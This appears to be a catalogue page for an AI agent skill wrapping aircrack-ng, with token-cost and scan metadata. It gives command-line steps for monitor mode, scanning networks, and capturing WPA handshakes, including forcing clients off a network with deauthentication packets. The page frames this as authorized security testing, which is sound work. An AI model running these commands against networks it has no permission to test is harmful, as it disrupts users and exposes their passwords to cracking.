aircrack-ng

aircrack-ng is a skill for Claude Code, Codex from TerminalSkills/skills. It costs 61 tokens per session (1,594 once invoked), scanned A, original, Apache-2.0.

A set of tools for authorized Wi-Fi security testing. It can place a wireless adapter into monitor mode, capture WPA/WPA2 connection handshakes, and test captured handshakes offline.

In plain words
What is it for?
Use it only on networks you own or are explicitly permitted to audit, for tasks such as capturing handshakes, testing passwords offline, and performing wireless penetration tests.
Why use it?
It helps security testers check whether a wireless network’s protections can withstand common attacks without testing the live network password directly.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

aircrack-ng scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 13d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

A mod that escalates privileges can change anything on the machine, not only the project.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Aircrack-ng

Overview

Aircrack-ng is the reference suite for 802.11 security auditing. It captures wireless frames in monitor mode, extracts WPA/WPA2 4-way handshakes, and performs offline dictionary attacks against the captured handshake. The suite is airmon-ng (monitor mode), airodump-ng (capture), aireplay-ng (injection/deauth), and aircrack-ng (offline crack). Use exclusively on networks you own or have written permission to audit.

Instructions

Step 1: Put the Adapter in Monitor Mode

# Check which adapters support monitor mode and injection
sudo airmon-ng
# PHY     Interface       Driver          Chipset
# phy0    wlan0           ath9k_htc       Atheros AR9271

# Kill processes that interfere with monitor mode
sudo airmon-ng check kill

# Enable monitor mode — wlan0 becomes wlan0mon
sudo airmon-ng start wlan0

# Verify
iw dev wlan0mon info | grep type
# type monitor

Step 2: Scan Nearby Networks

# Scan all 2.4 and 5 GHz channels
sudo airodump-ng wlan0mon
# Columns: BSSID, PWR, Beacons, #Data, CH, ENC, CIPHER, AUTH, ESSID
# Note the BSSID and channel of your target network

# Filter to a specific channel and BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# -w handshake: write pcap files prefixed "handshake"
# Keep this running — it logs clients connecting to the AP

Step 3: Capture a WPA Handshake

# Option A: passive — wait for a client to authenticate
# airodump shows "WPA handshake: AA:BB:CC:DD:EE:FF" in the top-right when captured

# Option B: active — deauth an existing client to force reconnection
# (only on networks you own or have authorization for)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# -a: AP BSSID   -c: client MAC (from airodump station list)
# 5 deauth packets is usually enough; don't flood.

# Confirm the handshake is in the capture
aircrack-ng handshake-01.cap
# Look for: "1 handshake" next to the target BSSID

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

aircrack-ng is a skill published in the GitHub repository TerminalSkills/skills (149 stars, last pushed 7d ago), licensed Apache-2.0. It adds 61 tokens to every session and 1,594 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
